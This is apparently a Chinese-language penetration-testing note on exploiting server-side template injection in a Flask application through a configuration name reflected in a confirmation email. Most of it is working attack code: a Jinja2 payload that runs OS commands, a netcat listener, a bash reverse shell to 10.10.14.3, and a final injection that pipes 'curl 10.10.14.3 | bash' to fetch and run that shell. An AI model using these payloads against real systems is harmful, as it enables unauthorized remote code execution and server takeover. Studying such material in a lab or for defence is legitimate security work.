> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).
# SSTI 和 Mail Flask
## SSTI：
在观察配置时，我们注意到如果我们修改配置名称，就会发送一封确认邮件。这可能成为进行 SSTI 攻击的机会。
我们使用如下载荷进行测试：
```bash
{{ 9*9 }}
```
如果结果是 `81`，则该应用存在漏洞。
我们确认该应用存在漏洞，并使用来自以下位置的载荷测试命令注入： `payloadallthethings`:
{% embed url="" %}
命令 ID：
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
我们成功地使用以下内容，在监听 443 端口上执行反向 shell：
```bash
nc -nlvp 443
```
我们创建一个文件 `index.html` ，并将以下内容写入其中以执行反向 shell
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```
然后我们使用 Python 启动一个 HTTP 服务器：
```bash
python3 -m http.server 80
```
我们发送载荷时使用 `curl` 来检索并执行命令：
```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```
---
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